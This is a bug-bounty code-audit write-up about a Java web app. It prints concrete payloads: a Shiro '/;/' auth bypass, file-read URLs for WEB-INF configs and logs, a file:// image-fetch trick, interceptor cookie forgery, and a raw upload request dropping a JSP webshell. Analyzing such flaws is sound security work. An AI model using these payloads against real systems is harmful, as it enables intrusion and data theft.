某次SRC测试之代码审计

admin 2022年6月10日16:57:38评论73 views字数 3547阅读11分49秒阅读模式

一、前言

一次挖src遇到的站找了下源码审计,主要几个点是

1.shiro权限绕过+spring低版本特性绕拦截器

2.鸡肋任意文件下载到任意文件读取

3.采用.*绕拦截器的时候遇到很多接口406错误,进而转为寻找拦截器逻辑缺陷,最终getshell。

4.任意文件上传文件名随机,通过读取日志getshell

二、权限绕过

查看整个项目发现采用的shiro+拦截器做的权限校验

因为这个项目shiro的版本较低存在权限绕过可直接采用这种方式绕过

/;/api/test

spring mvc interceptor配置(列出部分)

<mvc:interceptors>    <mvc:interceptor>      <mvc:mapping path="/**"/> <!-- 拦截全部请求  -->            <mvc:exclude-mapping path="/api/**"/>******            <mvc:exclude-mapping path="/**/**.css"/>            <mvc:exclude-mapping path="/**/**.js"/>            <mvc:exclude-mapping path="/**/**.txt"/>            <mvc:exclude-mapping path="/**/**.png"/>            <mvc:exclude-mapping path="/**/**.gif"/>            <mvc:exclude-mapping path="/**/**.docx"/>            <mvc:exclude-mapping path="/**/**.doc"/>            <mvc:exclude-mapping path="/**/**.xls"/>            <mvc:exclude-mapping path="/**/**.WAV"/>            <mvc:exclude-mapping path="/**/**.wav"/>            <mvc:exclude-mapping path="/**/**.mp3"/>******      <bean class="com.xxxx.core.interceptor.LoginHandlerInterceptor"/>    </mvc:interceptor>  </mvc:interceptors>

此处存在一个缺陷,这个项目的springmvc版本小于5.3且web.xml配置不是采用*.do这种形式,配合下面这种配置

            <mvc:exclude-mapping path="/**/**.css"/>            <mvc:exclude-mapping path="/**/**.js"/>            <mvc:exclude-mapping path="/**/**.txt"/>            <mvc:exclude-mapping path="/**/**.png"/>            <mvc:exclude-mapping path="/**/**.gif"/>            <mvc:exclude-mapping path="/**/**.docx"/>            <mvc:exclude-mapping path="/**/**.doc"/>            <mvc:exclude-mapping path="/**/**.xls"/>            <mvc:exclude-mapping path="/**/**.WAV"/>            <mvc:exclude-mapping path="/**/**.wav"/>            <mvc:exclude-mapping path="/**/**.mp3"/>

结合shiro的权限绕过利用如下。

/;/api/test.js

三、任意文件读取

/;/contractattachment/downLoadFile.js?url=WEB-INF/classes/log4j.properties&fname=1/;/attachment/downLoadFile.js?url=WEB-INF/classes/log4j.properties/;/requestlog/downloadLog.js?filename=xxxxx&code=SYSTEM_TOMCAT_LOG_PATH  读日志

有一处比较有意思的任意文件读取

某次SRC测试之代码审计

某次SRC测试之代码审计

某次SRC测试之代码审计

正则为

String searchImgReg = "<(img|IMG)\b[^>]*\b(src|SRC|src2|SRC2)\b\s*=\s*('|")?([^'"nrf>]+(\.jpg|\.bmp|\.eps|\.gif|\.mif|\.miff|\.png|\.tif|\.tiff|\.svg|\.wmf|\.jpe|\.jpeg|\.dib|\.ico|\.tga|\.cut|\.pic)\b)[^>]*>";

本来是一个远程图片抓取的功能,想着shell但是没绕过去,但是通过构造可以实现任意文件读取。

第一点是此处可使用file协议读取本地文件最后文件会生出到web目录,但是有正则后缀限制,可使用#绕过。

构造POC在服务器放一个a.txt内容如下

<img src="file:///C://Windows//win.ini#.jpg" width="451" height="429" alt="Panel plików programu CKFinder" />

某次SRC测试之代码审计

它会把读取的内容生成文件放在下

/uploadFiles/uploadImgs/当前日期/

文件名为file的最后一个斜杆后的内容

/uploadFiles/uploadImgs/20210823/win.ini%23.jpg

某次SRC测试之代码审计

四、任意文件上传

找了半天有几个任意文件上传都不会回显路径文件名是随机的,会回显路径的任意文件上传采用.js或其他.xx结尾都会报406错误查了一下好像是说和它的返回值有关,于是重新审拦截器这一块发现存在逻辑缺陷

WEB-INF/classes/com/xxx/core/interceptor/LoginHandlerInterceptor.class

某次SRC测试之代码审计

可以伪造请求头进入这个逻辑

com.xxxx.core.interceptor.MobileLoginHandlerInterceptor#handleLogin

某次SRC测试之代码审计

跟入com.xxxx.weixin.util.CookieUtil#getCookie

某次SRC测试之代码审计

查看配置文件发现默认进入else逻辑,此处需要获取appid伪造cookiename

发现进入到这个if里就会返回appid

com.xxx.core.interceptor.MobileLoginHandlerInterceptor#handleLogin

某次SRC测试之代码审计

构造请求包

某次SRC测试之代码审计

使用此appid构造cookiename  后面的图当时没存就贴个包吧

POST /;/attachment/portal/uploadFilePaste.do?type=0 HTTP/1.1Host: Content-Length: 12428Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5E9djX7vvCaYggpG              Via: ZXWAPUser-Agent: iPhoneCookie: xxxx=1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http:////user/listUsers.do?DEPARTMENT_ID=&currentPage=1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,fil;q=0.8Connection: close
------WebKitFormBoundary5E9djX7vvCaYggpGContent-Disposition: form-data; name="blob"; filename="1.jsp"Content-Type: image/png

------WebKitFormBoundary5E9djX7vvCaYggpG--

成功shell

后发现其随机文件名会保存在日志中可通过

/;/requestlog/downloadLog.js?filename=xxx&code=SYSTEM_TOMCAT_LOG_PATH  读取日志获取文件名又可以拿几个shell

还有挺多其他洞就不写了。


原文始发于微信公众号(白帽兔):某次SRC测试之代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月10日16:57:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某次SRC测试之代码审计https://cn-sec.com/archives/1105387.html

发表评论

匿名网友 填写信息